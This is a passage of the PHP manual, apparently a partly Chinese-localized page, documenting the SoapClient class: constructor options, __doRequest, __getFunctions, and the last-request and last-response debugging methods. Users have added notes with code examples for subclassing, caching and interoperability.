Specifies the binding style to use for this client, using the constants SOAP_RPC and SOAP_DOCUMENT. SOAP_RPC indicates RPC-style binding, where the SOAP request body contains a standard encoding of a function call. SOAP_DOCUMENT indicates document-style binding, where the SOAP request body contains an XML document with service-defined meaning.

If the wsdl parameter is provided, this option is ignored, and the style is read from the WSDL file.

If neither this option nor the wsdl parameter is provided, RPC-style is used.

use int

Specifies the encoding style to use for this client, using the constants SOAP_ENCODED or SOAP_LITERAL. SOAP_ENCODED indicates encoding using the types defined in the SOAP specification. SOAP_LITERAL indicates encoding using a schema defined by the service.

If the wsdl parameter is provided, this option is ignored, and the encoding is read from the WSDL file.

If neither this option nor the wsdl parameter is provided, the "encoded" style is used.

soap_version int

Specifies the version of the SOAP protocol to use: SOAP_1_1 for SOAP 1.1, or SOAP_1_2 for SOAP 1.2.

If omitted, SOAP 1.1 is used.

authentication int

Specifies the authentication method when using HTTP authentication in requests. The value may be either SOAP_AUTHENTICATION_BASIC or SOAP_AUTHENTICATION_DIGEST.

If omitted, and the login option is provided, Basic Authentication is used.

login string

Username to use with HTTP Basic or Digest Authentication.

password string

Password to use with HTTP Basic or Digest Authentication.

Not to be confused with passphrase, which is used with HTTPS Client Certificate authentication.

local_cert string

Path to a client certificate for use with HTTPS authentication. It must be a PEM encoded file which contains your certificate and private key.

The file can also include a chain of issuers, which must come after the client certificate.

Can also be set via stream_context, which also supports specifying a separate private key file.

passphrase string

Passphrase for the client certificate specified in the local_cert option.

Not to be confused with password, which is used for Basic or Digest Authentication.

Can also be set via stream_context.

proxy_host string

Hostname to use as a proxy server for HTTP requests.

The proxy_port option must also be specified.

proxy_port int

TCP port to use when connecting to the proxy server specified in proxy_host.

proxy_login string

Optional username to authenticate with the proxy server specified in proxy_host, using HTTP Basic Authentication.

proxy_password string

Optional password to authenticate with the proxy server specified in proxy_host, using HTTP Basic Authentication.

compression int

Enables compression of HTTP SOAP requests and responses.

The value should be the bitwise OR of three parts: an optional SOAP_COMPRESSION_ACCEPT, to send an "Accept-Encoding" header; either SOAP_COMPRESSION_GZIP or SOAP_COMPRESSION_DEFLATE to indicate the compression algorithm to use; and a number between 1 and 9 to indicate the level of compression to use in the request. For example, to enable two-way gzip compression with the maximum compression level, use SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP | 9.

encoding string

Defines the internal character encoding. Requests are always sent in UTF-8, and converted to and from this encoding.

trace bool

Captures request and response information, which can then be
accessed with the methods
SoapClient::__getLastRequest(),
SoapClient::__getLastRequestHeaders(),
SoapClient::__getLastResponse(),
and SoapClient::__getLastResponseHeaders().

If omitted, defaults to false

classmap array

Used to map types defined in the WSDL to PHP classes. It should be specified as an associative array with type names from the WSDL as keys and names of PHP classes as values. Note that the type names of an element is not necessarily the same as the element (tag) name.

The provided class names should always be fully qualified with any namespaces, and never start with a leading \. The correct form can be generated by using ::class.

Note that when creating a class, the constructor will not be called, but magic __set() and __get() methods for individual properties will be.

typemap array

Used to define type mappings using user-defined callback functions. Each type mapping should be an array with keys type_name (string specifying the XML element type); type_ns (string containing namespace URI); from_xml (callable accepting one string parameter and returning an object) and to_xml (callable accepting one object parameter and returning a string).

exceptions bool

Defines whether errors throw exceptions of type SoapFault.

Defaults to true

connection_timeout int

Defines a timeout in seconds for the connection to the SOAP service. This option does not define a timeout for services with slow responses. To limit the time to wait for calls to finish the default_socket_timeout configuration option is available.

cache_wsdl int

If the wsdl parameter is provided, and the soap.wsdl_cache_enabled configuration option is on, this option determines the type of caching. One of WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY or WSDL_CACHE_BOTH.

Two types of cache are available: in-memory caching, which caches the WSDL in the memory of the current process; and disk caching, which caches the WSDL in a file on disk, shared between all processes. The directory to use for the disk cache is determined by the soap.wsdl_cache_dir configuration option. Both caches use the same lifetime, determined by the soap.wsdl_cache_ttl configuration option. The in-memory cache also has a maximum number of entries determined by the soap.wsdl_cache_limit configuration option.

If not specified, the soap.wsdl_cache configuration option will be used.

user_agent string

The value to use in the User-Agent HTTP header when making requests.

Can also be set via stream_context.

If not specified, the user agent will be "PHP-SOAP/" followed by the value of PHP_VERSION.

stream_context resource

A stream context created by stream_context_create(), which allows additional options to be set.

The context may include socket context options, SSL context options, plus selected HTTP context options: content_type, header, max_redirects, protocol_version, and user_agent.

Note that the following HTTP headers are generated automatically or from other options, and will be ignored if specified in the 'header' context option: host, connection, user-agent, content-length, content-type, cookie, authorization, and proxy-authorization

features int

A bitmask to enable one or more of the following features:

SOAP_SINGLE_ELEMENT_ARRAYS

When decoding a response to an array, the default behaviour is to detect whether an element name appears once or multiple times in a particular parent element. For elements which appear only once, an object property allows direct access to the content; for elements which appear more than once, the property contains an array with the content of each matching element.

If the SOAP_SINGLE_ELEMENT_ARRAYS feature is enabled, elements which appear only once are placed in a single-element array, so that access is consistent for all elements. This only has an effect when using a WSDL containing a schema for the response. See Examples section for an illustration.

SOAP_USE_XSI_ARRAY_TYPE

When the use option or WSDL property is set to encoded, force arrays to use a type of SOAP-ENC:Array, rather than a schema-specific type.

SOAP_WAIT_ONE_WAY_CALLS

Wait for a response even if the WSDL indicates a one-way request.

keep_alive bool

a boolean value defining whether to send the Connection: Keep-Alive header or Connection: close.

Defaults to true

ssl_method string

Specifies the SSL or TLS protocol version to use with secure HTTP connections, instead of the default negotiation. Specifying SOAP_SSL_METHOD_SSLv2 or SOAP_SSL_METHOD_SSLv3 will force use of SSL 2 or SSL 3, respectively. Specifying SOAP_SSL_METHOD_SSLv23 has no effect; the constant exists only for backwards compatibility. As of PHP 7.2, specifying SOAP_SSL_METHOD_TLS also has no effect; in earlier versions, it forced use of TLS 1.0.

Note that SSL versions 2 and 3 are considered insecure, and may not be supported by the installed OpenSSL library.

This option is DEPRECATED as of PHP 8.1.0. A more flexible alternative, which allows specifying individual versions of TLS, is to use the stream_context option with the 'crypto_method' context parameter.

Example #1 Specifying use of TLS 1.3 only

<?php
$context = stream_context_create([
'ssl' => [
'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT
]
]);
$client = new SoapClient("some.wsdl", ['context' => $context]);

错误／异常

SoapClient::__construct() will generate an E_ERROR error if the location and uri options aren't provided in non-WSDL mode.

A SoapFault exception will be thrown if the wsdl URI cannot be loaded.

示例

Example #2 SoapClient::__construct() example

<?php

$client = new SoapClient("some.wsdl");

$client = new SoapClient("some.wsdl", array('soap_version' => SOAP_1_2));

$client = new SoapClient("some.wsdl", array('login' => "some_name",
'password' => "some_password"));

$client = new SoapClient("some.wsdl", array('proxy_host' => "localhost",
'proxy_port' => 8080));

$client = new SoapClient("some.wsdl", array('proxy_host' => "localhost",
'proxy_port' => 8080,
'proxy_login' => "some_name",
'proxy_password' => "some_password"));

$client = new SoapClient("some.wsdl", array('local_cert' => "cert_key.pem"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/",
'style' => SOAP_DOCUMENT,
'use' => SOAP_LITERAL));

$client = new SoapClient("some.wsdl",
array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP | 9));

$client = new SoapClient("some.wsdl", array('encoding'=>'ISO-8859-1'));

class MyBook {
public $title;
public $author;
}

$client = new SoapClient("books.wsdl", array('classmap' => array('book' => "MyBook")));

$typemap = array(
array("type_ns" => "http://schemas.example.com",
"type_name" => "book",
"from_xml" => "unserialize_book",
"to_xml" => "serialize_book")
);
$client = new SoapClient("books.wsdl", array('typemap' => $typemap));

?>

Example #3 Using the SOAP_SINGLE_ELEMENT_ARRAYS feature

/* Assuming a response like this, and an appropriate WSDL:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns="urn:example">
<SOAP-ENV:Body>
<response>
<collection>
<item>Single</item>
</collection>
<collection>
<item>First</item>
<item>Second</item>
</collection>
</response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
*/

echo "Default:\n";

$client = new TestSoapClient(__DIR__ . '/temp.wsdl');
$response = $client->exampleRequest();
var_dump( $response->collection[0]->item );
var_dump( $response->collection[1]->item );

echo "\nWith SOAP_SINGLE_ELEMENT_ARRAYS:\n";

$client = new TestSoapClient(__DIR__ . '/temp.wsdl', ['features' => SOAP_SINGLE_ELEMENT_ARRAYS]);
$response = $client->exampleRequest();
var_dump( $response->collection[0]->item );
var_dump( $response->collection[1]->item );

以上示例会输出：

Default:
string(6) "Single"
array(2) {
  [0] =>
  string(5) "First"
  [1] =>
  string(6) "Second"
}

With SOAP_SINGLE_ELEMENT_ARRAYS:
array(1) {
  [0] =>
  string(6) "Single"
}
array(2) {
  [0] =>
  string(5) "First"
  [1] =>
  string(6) "Second"
}

User Contributed Notes

There are no user contributed notes for this page.


Performs a SOAP request

  • ? SoapClient::__construct
  • SoapClient::__getCookies ?
  • PHP Manual
  • SoapClient
  • Performs a SOAP request

SoapClient::__doRequest

(PHP 5, PHP 7, PHP 8)

SoapClient::__doRequest — Performs a SOAP request

说明

public SoapClient::__doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string

Performs SOAP request over HTTP.

This method can be overridden in subclasses to implement different transport layers, perform additional XML processing or other purpose.

参数

request

The XML SOAP request.

location

The URL to request.

action

The SOAP action.

version

The SOAP version.

oneWay

If oneWay is set to true, this method returns nothing. Use this where a response is not expected.

返回值

The XML SOAP response.

更新日志

版本 | 说明
8.0.0 | The type of oneWay is bool now; formerly it was int.

示例

Example #1 SoapClient::__doRequest() example

<?php
function Add($x,$y) {
return $x+$y;
}

class LocalSoapClient extends SoapClient {

function __construct($wsdl, $options) {
parent::__construct($wsdl, $options);
$this->server = new SoapServer($wsdl, $options);
$this->server->addFunction('Add');
}

function __doRequest($request, $location, $action, $version, $one_way = 0) {
ob_start();
$this->server->handle($request);
$response = ob_get_contents();
ob_end_clean();
return $response;
}

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
'uri'=>'http://testuri.org'));
var_dump($x->Add(3,4));
?>

User Contributed Notes

tschallacka 22-Mar-2016 02:01
I just wanted to note in plain english how to build up this request, because I made some assumptions by just misterpreting the parameters.

This is for future reference(for myself) and others that might end up a bit mistified by just not understanding the finesses of soap and are trying to learn.

    $this->__doRequest(string $request , string $location , string $action , int $version [, int $one_way = 0 ] );

$request = The XML Soap enveloppe
$location = The url to the WSDL file. No matter that you defined this before when setting up the object, you need to reuse it here.
$action = the soap action to be performed. This is defined in the wsdl file and can be in the form of a single form or an url. it's just a parameter and might not be an actual valid url
$version = SOAP_1_1 =  content headers (Content-Type: text/xml; CHARSET=gb2312?)
                  SOAP_1_2 = content headers (Content-Type: application/soap+xml; CHARSET=gb2312; action="somesoapaction defined in $action")

If you send a SOAP_1_2 request to a SOAP_1_1 server you might get a reply in the following form

    HTTP/1.1 415 Cannot process the message because the content type 'application/soap+xml; CHARSET=gb2312; action="somesoapaction defined in $action"' was not the expected type 'text/xml; CHARSET=gb2312'.

You need to switch down to SOAP_1_1 in that case to get the proper formatting the server can understand
tbernard at qcsupply dot com 02-Feb-2015 05:08
If you're having trouble connecting to an authenticated SOAP service there's something important to note here.

__doRequest() is only used when a SOAPClient function is called, NOT when the WSDL if fetched and parsed.  That means if your WSDL file is not publicly accessible but also resides behind your authentication it won't be accessible by default.  Instead you'll have to create an overloaded stream wrapper and register it for whatever protocol (probably HTTP) you'll be using.
darren dot yee at emc dot com 13-Mar-2013 10:45
Note when extending __doRequest, calling __getLastRequest will probably report incorrect information unless you make sure to update the internal __last_request variable. Save yourself some headaches.

function __doRequest($request, $location, $action, $version) {
      $request = preg_replace('/abc/', 'def', $request);
      $ret = parent::__doRequest($request, $location, $action, $version);
      $this->__last_request = $request;
      return $ret;
}
alireza dot meskin at gmail 02-Apr-2012 12:29
Change Blocking mode for Socket stream and set Timeout for Soap requests

<?php

class TimeoutSoapClient extends SoapClient
{
    const TIMEOUT = 20;
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $url_parts = parse_url($location);
        $host = $url_parts['host'];
        $http_req = 'POST '.$location.' HTTP/1.0'."\r\n";
        $http_req .= 'Host: '.$host."\r\n";
        $http_req .= 'SoapAction: '.$action."\r\n";
        $http_req .= "\r\n";
        $http_req .= $request;
        $port = 80;
        if ($url_parts['scheme'] == 'https')
        {
            $port = 443;
            $host = 'ssl://'.$host;
        }
        $socket = fsockopen($host, $port);
        fwrite($socket, $request);
        stream_set_blocking($socket, false);
        $response = '';
        $stop = microtime(true) + self::TIMEOUT;
        while (!feof($socket))
        {
            $response .= fread($socket, 2000);
            if (microtime(true) > $stop)
            {
                throw new SoapFault('Client', 'HTTP timeout');
            }
        }
        return $response;
    }
}
bwhitehead at tableausoftware dot no dot com dot spam 12-Aug-2011 02:49
Note that the SoapClient.__doRequest() method circumvents the throwing of SoapFault exceptions.

Specifically, if you call the __doRequest() method and it fails, it would normally throw a SoapFault exception.  However, the __doRequest() method doesn't actually throw the exception. Instead, the exception is saved in a class attribute called SoapFault.__soap_fault, and is actually thrown AFTER the __doRequest method completes (but the call stack will show that the exception was created inside the __doRequest method.

I successfully used the following code to query the locally cached exception object that was not thrown:

<?php
$exception = null;
try {
    $result = parent::__doRequest($request, $location, $action, $version, $one_way);
}
catch (SoapFault $sf) {
    //this code was not reached
    $exception = $sf;
}
catch (Exception $e) {
    //nor was this code reached either
    $exception = $e;
}
if((isset($this->__soap_fault)) && ($this->__soap_fault != null)) {
    //this is where the exception from __doRequest is stored
    $exception = $this->__soap_fault;
}

//decide what to do about the exception here
// [enter code here]
//or throw the exception
if($exception != null) {
    throw $exception;
}
//note: you may want to unset the __soap_fault value if you don't want it thrown again up the call stack
?>
psfere at hotmail dot com 21-Sep-2010 09:52
I was needing to add a blank soap header (<SOAP-ENV:Header /> and found no other place that has done this.  The only way I was able to support this was to extend SoapClient and re-define __doRequest.  Hope this helps someone or if there is support for this in the library, please point me in the right direction:

<?php
class MySoapCli extends SoapClient {
  function __doRequest($request, $location, $action, $version) {
    $dom = new DomDocument('1.0', 'UTF-8');
    $dom->preserveWhiteSpace = false;
    $dom->loadXML($request);
    $hdr = $dom->createElementNS('http://schemas.xmlsoap.org/soap/envelope/', 'SOAP-ENV:Header');
    $dom->documentElement->insertBefore($hdr, $dom->documentElement->firstChild);
    $request = $dom->saveXML();
    return parent::__doRequest($request, $location, $action, $version);
  }
}
?>
lepidosteus 19-Nov-2009 02:59
If you happen to get an error during your request which says "SOAP-ERROR: Encoding: Can't decode apache map, only Strings or Longs are allowd as keys", the reason seems to be the response xml using integer for keys and php failling to understand them

Here is something that worked for me (converts integer keys to strings):

<?php
class mySoap extends SoapClient
{
    public function __doRequest($request, $location, $action, $version)
    {
        $result = parent::__doRequest($request, $location, $action, $version);
        $result = str_replace('<key xsi:type="xsd:int">', '<key xsi:type="xsd:string">', $result);
        return $result;
    }
}

// $soap = new mySoap(...
?>
Artur Graniszewski 08-Nov-2009 04:35
Beware of PHP incosistent behaviour in __doRequest() method. It seems that some arguments passed to this method are passed by reference!

If you try to create your own __doRequest() method and store it's arguments as SoapClient properties you will find that after __soapCall all of them will be null or unknown.

<?php
    protected $__soapAction = '';

    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = $action;
        return $response;
    }
?>

In above example $this->__soapAction will be null after $obj->__soapCall()..

To store $action value, you must cast it to a string (so PHP will be forced to create a new variable with different memory pointer):

<?php
    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = (string)$action;
        return $response;
    }
?>
james dot ellis at gmail dot com 04-Feb-2008 04:12
If your application interacts with SOAP services and you wish to cache the responses for consumption later, then overriding SoapClient::__doRequest is the way to go.

For instance, if you know that the information presented doesn't change that often and you don't want to do a superfluous HTTP request, you can grab a response from a local cache and let SoapClient do the transformation to PHP data types.

<?php
class YourNamespace_SoapClient_Local extends SoapClient {
    protected $cacheDocument = "";
    public function __construct($wsdl, $options) {
        parent::__construct($wsdl, $options);
    }

    /**
     * SetCacheDocument() sets the previously cached document contents
     */
    public function SetCacheDocument($document) {
        $this->cacheDocument = $document;
    }

    /**
     * __doRequest() overrides the standard SoapClient to handle a local request
     */
    public function __doRequest() {
        return $this->cacheDocument;
    }
}

//---- code snippet showing usage within a class
//$document is a cached SOAP response document from a previous request, saved with SoapClient::__getLastResponse() to some cache somewhere
//for the purpose of this example, it is assumed that $this->wsdl, $this->options, $this->method and $this->params are set.

public function SoapRequest($document) {
    $method = $this->method;
    if($document == "") {
        //uncached
        try {
            //default options
            $client = new SoapClient($this->wsdl, $this->options);
            $result = $client->$method($this->params);
            //send the response to the cache
            $this->CacheResponse($client->__getLastResponse());
        } catch(SoapFault $fault) {
            //log something
            return FALSE;
        }
    } else {
        //cached document
        try {
            /**
             * the WSDL needs to be set to allow the method to be called on the client object
             * and to trigger SoapClient to decode the response to native data types
             */
            $client = new YourNamespace_SoapClient_Local($this->wsdl, $this->options);
            $client->SetCacheDocument($document);
            $result = $client->$method($this->params);
        } catch (SoapFault $fault) {
            //log something
            return FALSE;
        }
    }
    return $result;
}
?>

I'll leave you to work out the caching, plenty of options there.. ;)
albert at jool dot nl 26-Mar-2007 06:28
If you want to communicate with a default configured ASP.NET server with SOAP 1.1 support, override your __doRequest with the following code. Adjust the namespace parameter, and all is good to go.

<?php
class MSSoapClient extends SoapClient {

    function __doRequest($request, $location, $action, $version) {
        $namespace = "http://tempuri.com";

        $request = preg_replace('/<ns1:(\w+)/', '<$1 xmlns="'.$namespace.'"', $request, 1);
        $request = preg_replace('/<ns1:(\w+)/', '<$1', $request);
        $request = str_replace(array('/ns1:', 'xmlns:ns1="'.$namespace.'"'), array('/', ''), $request);

        // parent call
        return parent::__doRequest($request, $location, $action, $version);
    }
}

$client = new MSSoapClient(...);
?>

Hope this will save people endless hours of fiddling...
jfitz at spacelink dot com 05-Dec-2006 09:56
Note that __getLastRequest() data are buffered _before_ the call to __doRequest().  Thus any modifications you make to the XML while in __doRequest() will not be visible in the output of __getLastRequest().   This is so in at least v5.2.0
06-Jul-2006 01:17
Do you have problems with the PHP5 SoapClient when you need to send a request to a service with a ComplexType parameter?

Maybe because my service is build in Delphi with REMObjects SDK 3.0 I had the problems, maybe not. Anyway, this was my remedy:
<?php
$versie = new stdClass();//define a basic class object
$versie->versieID = $aVersie->versieID();//fill it with the exact attributes as your complextype Object in the wsdl is
$versie->versieNummer = $aVersie->versieNummer();
$versie->isActief = $aVersie->isActief();

$soapVersieType = new SoapVar($versie , SOAP_ENC_OBJECT, "Versie", "http://127.0.0.1:8999/SOAP?wsdl"); //create the complex soap type, Versie is the name of my complex type in the wsdl, the latter url beeing the location of my wsdl.

try{
  $result =  $soapClient->BewaarVersie($this->sessieId,$soapVersieType); //BewaarVersie is a function derived from my WSDL with two params.
}
catch(SoapFault $e){
  trigger_error('Something soapy went wrong: '.$e->faultstring,E_USER_WARNING);            }
?>
After some more testing i found out that the conversion to the StdClass() object was not required. My 'Versie' local object has the attributes for the 'Versie' wsdl complex type defined as private vars and give no pain when i create the SoapVar with an instance of the local 'Versie' Object.
metator at netcabo dot pt 20-Oct-2005 04:32
You can use this method to correct the SOAP request before sending it, if necessary. You can use the DOM API to accomplish that.

<?php

public ExtendedClient extends SoapClient {

   function __construct($wsdl, $options = null) {
      parent::__construct($wsdl, $options);
   }

   function __doRequest($request, $location, $action, $version) {
      $dom = new DOMDocument('1.0');

      try {

         //loads the SOAP request to the Document
         $dom->loadXML($request);

      } catch (DOMException $e) {
         die('Parse error with code ' . $e->code);
      }

      //create a XPath object to query the request
      $path = new DOMXPath($dom);

      //search for a node
      $nodesToFix = $path->query('//SOAP-ENV:Envelope/SOAP-ENV:Body/path/to/node');

      //check if nodes are ok
      $this->checkNodes($path, $nodesToFix);

      //save the modified SOAP request
      $request = $dom->saveXML();

      //doRequest
      return parent::__doRequest($request, $location, $action, $version);
   }

   function checkNodes(DOMXPath $path, DOMNodeList $nodes) {
      //iterate through the node list
      for ($i = 0; $ < $nodes->length; $i++) {
         $aNode = $nodes->item($i);

         //just an example
         if ($node->nodeValue == null) {
            //do something. For instance, let's remove it.
            $node->parentNode->removeChild($node);
         }
      }
   }
}
?>

This gives the developer the chance to solve interoperability problems with a web service.


Get list of cookies

  • ? SoapClient::__doRequest
  • SoapClient::__getFunctions ?
  • PHP Manual
  • SoapClient
  • Get list of cookies

SoapClient::__getCookies

(PHP 5 >= 5.4.30, PHP 7, PHP 8)

SoapClient::__getCookies — Get list of cookies

说明

public SoapClient::__getCookies(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns list of available SOAP functions

  • ? SoapClient::__getCookies
  • SoapClient::__getLastRequest ?
  • PHP Manual
  • SoapClient
  • Returns list of available SOAP functions

SoapClient::__getFunctions

(PHP 5, PHP 7, PHP 8)

SoapClient::__getFunctions — Returns list of available SOAP functions

说明

public SoapClient::__getFunctions(): ?array

Returns an array of functions described in the WSDL for the Web service.

Note:

此函数仅在 WSDL 模式下生效。

参数

此函数没有参数。

返回值

The array of SOAP function prototypes, detailing the return type, the function name and parameter types.

示例

Example #1 SoapClient::__getFunctions() example

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getFunctions());
?>

以上示例会输出：

array(26) {
  [0]=>
  string(70) "ProductInfo KeywordSearchRequest(KeywordRequest $KeywordSearchRequest)"
  [1]=>
  string(79) "ProductInfo TextStreamSearchRequest(TextStreamRequest $TextStreamSearchRequest)"
  [2]=>
  string(64) "ProductInfo PowerSearchRequest(PowerRequest $PowerSearchRequest)"
...
  [23]=>
  string(107) "ShoppingCart RemoveShoppingCartItemsRequest(RemoveShoppingCartItemsRequest $RemoveShoppingCartItemsRequest)"
  [24]=>
  string(107) "ShoppingCart ModifyShoppingCartItemsRequest(ModifyShoppingCartItemsRequest $ModifyShoppingCartItemsRequest)"
  [25]=>
  string(118) "GetTransactionDetailsResponse GetTransactionDetailsRequest(GetTransactionDetailsRequest $GetTransactionDetailsRequest)"
}

参见

  • SoapClient::__construct() - SoapClient constructor

User Contributed Notes

jvanoort at simplexis dot nl 05-Jan-2016 03:32
_getFunctions can return null, not only array. This happens if the WSDL has not been parsed yet. This may be helpful to someone debugging, just like I was a few minutes ago when writing an extension to SoapClient.
Beebs 13-Nov-2013 02:26
The following code works for me while it appears soap.amazon.com has been deprecated and taken out of service. http://webservices.amazon.com has replaced Amazon's SOAP.

<?php
$client = new SoapClient('http://webservices.amazon.com/AWSECommerceService/AWSECommerceService.wsdl');
var_dump($client->__getFunctions());
?>
hasegeli at arebt dot com 02-Jun-2009 12:19
This function did not work if schema is not in wsdl file.


Returns last SOAP request

  • ? SoapClient::__getFunctions
  • SoapClient::__getLastRequestHeaders ?
  • PHP Manual
  • SoapClient
  • Returns last SOAP request

SoapClient::__getLastRequest

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastRequest — Returns last SOAP request

说明

public SoapClient::__getLastRequest(): ?string

Returns the XML sent in the last SOAP request.

Note:

This method works only if the SoapClient object was created with the trace option set to true.

参数

此函数没有参数。

返回值

The last SOAP request, as an XML string.

示例

Example #1 SoapClient::__getLastRequest() example

<?php
$client = new SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "REQUEST:\n" . $client->__getLastRequest() . "\n";
?>

参见

  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request
  • SoapClient::__getLastResponse() - Returns last SOAP response
  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response

User Contributed Notes

hejdavladislav at gmail dot com 15-Sep-2016 10:20
Note that when you create SoapClient with option "trace" set to FALSE or omit it, than "__getLastRequest()" always returns NULL.
LZhang 11-Jul-2014 08:22
Creating an xml file and link to the file is my way.

$outputxml = '/output.xml';

file_put_contents($_SERVER['DOCUMENT_ROOT'] . $outputxml, $client->__getLastRequest());

echo '<a href="' . $outputxml . '">here</a>';
mayurvirkar at gmail dot com 09-Sep-2013 08:37
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "Response:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
Anonymous 26-Jan-2010 01:32
Adding htmlentities() can be helpful since it makes the XML visible in your browser without needing to view the source.

<?php

echo "REQUEST:\n" . htmlentities($client->__getLastRequest()) . "\n";

?>
Ersin DOGAN 12-Apr-2009 10:40
I guess many peoples calls getLastRequest and it returns nothing. "Heey where is the my last request". Now we will see our request,  when you created a SoapClient instance, you should give a option parameter as below :

<?php
// below $option=array('trace',1);
// correct one is below
$option=array('trace'=>1);

$client=new SoapClient('some.wsdl',$option);

try{
  $client->aMethodAtRemote();
}catch(SoapFault $fault){
  // <xmp> tag displays xml output in html
  echo 'Request : <br/><xmp>',
  $client->__getLastRequest(),
  '</xmp><br/><br/> Error Message : <br/>',
  $fault->getMessage();
}
?>

"trace" parameter enables output of request. Now, you should see SOAP request.
Omar Nabil 12-Nov-2008 06:14
the getLastResult function doesn't require that the server answers.
as my browser handled and hided the xml code I thought the function doesn't return the last request


Returns the SOAP headers from the last request

  • ? SoapClient::__getLastRequest
  • SoapClient::__getLastResponse ?
  • PHP Manual
  • SoapClient
  • Returns the SOAP headers from the last request

SoapClient::__getLastRequestHeaders

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request

说明

public SoapClient::__getLastRequestHeaders(): ?string

Returns the SOAP headers from the last request.

Note:

This function only works if the SoapClient object was created with the trace option set to true.

参数

此函数没有参数。

返回值

The last SOAP request headers.

示例

Example #1 SoapClient::__getLastRequestHeaders() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "REQUEST HEADERS:\n" . $client->__getLastRequestHeaders() . "\n";
?>

参见

  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response
  • SoapClient::__getLastRequest() - Returns last SOAP request
  • SoapClient::__getLastResponse() - Returns last SOAP response

User Contributed Notes

mischa molhoek 02-Jun-2015 08:48
it seems to me that is does not return the SOAP headers as it states in the explanation, but the request headers....


Returns last SOAP response

  • ? SoapClient::__getLastRequestHeaders
  • SoapClient::__getLastResponseHeaders ?
  • PHP Manual
  • SoapClient
  • Returns last SOAP response

SoapClient::__getLastResponse

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastResponse — Returns last SOAP response

说明

public SoapClient::__getLastResponse(): ?string

Returns the XML received in the last SOAP response.

Note:

This method works only if the SoapClient object was created with the trace option set to true.

参数

此函数没有参数。

返回值

The last SOAP response, as an XML string.

示例

Example #1 SoapClient::__getLastResponse() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "Response:\n" . $client->__getLastResponse() . "\n";
?>

参见

  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response
  • SoapClient::__getLastRequest() - Returns last SOAP request
  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request

User Contributed Notes

mayurvirkar at gmail dot com 09-Sep-2013 08:38
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "RESPONSE:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
bshafs at gmail dot com 22-Jun-2011 12:45
You don't need to surround SoapClient in a try-catch block.  Just set the "exceptions" option to false, and the SoapFault instance will be returned instead of thrown.
ceo at l-i-e dot com 04-Jan-2006 01:31
D'oh!
That example needs:
$soapClient = new SoapClient($url, array('trace'=>1));
to turn ON tracing in the first place.
ceo at l-i-e dot com 04-Jan-2006 01:30
You almost for sure will need to wrap a try/catch block around your SOAP call in order to use these to debug something that's not working.

Otherwise, PHP throws a fatal error before you can execute this function.

For example:
<?php
    $soapClient = new SoapClient($url);
    echo htmlentities($soapClient->__getFunctions());
    //Assume that has output 'someFunction' (among others)
    try {
        $results = $soapClient->someFunction(...);
    }
    catch (SoapFault $soapFault) {
        var_dump($soapFault);
        echo "Request :<br>", htmlentities($soapClient->__getLastRequest()), "<br>";
        echo "Response :<br>", htmlentities($soapClient->__getLastResponse()), "<br>";
    }
?>

Without try/catch, your just get the Fatal Error and PHP commits suicide before you can call __getLastRequest/__getLastResponse


Returns the SOAP headers from the last response

  • ? SoapClient::__getLastResponse
  • SoapClient::__getTypes ?
  • PHP Manual
  • SoapClient
  • Returns the SOAP headers from the last response

SoapClient::__getLastResponseHeaders

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response

说明

public SoapClient::__getLastResponseHeaders(): ?string

Returns the SOAP headers from the last response.

Note:

This function only works if the SoapClient object was created with the trace option set to true.

参数

此函数没有参数。

返回值

The last SOAP response headers.

示例

Example #1 SoapClient::__getLastResponse() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "RESPONSE HEADERS:\n" . $client->__getLastResponseHeaders() . "\n";
?>

参见

  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request
  • SoapClient::__getLastRequest() - Returns last SOAP request
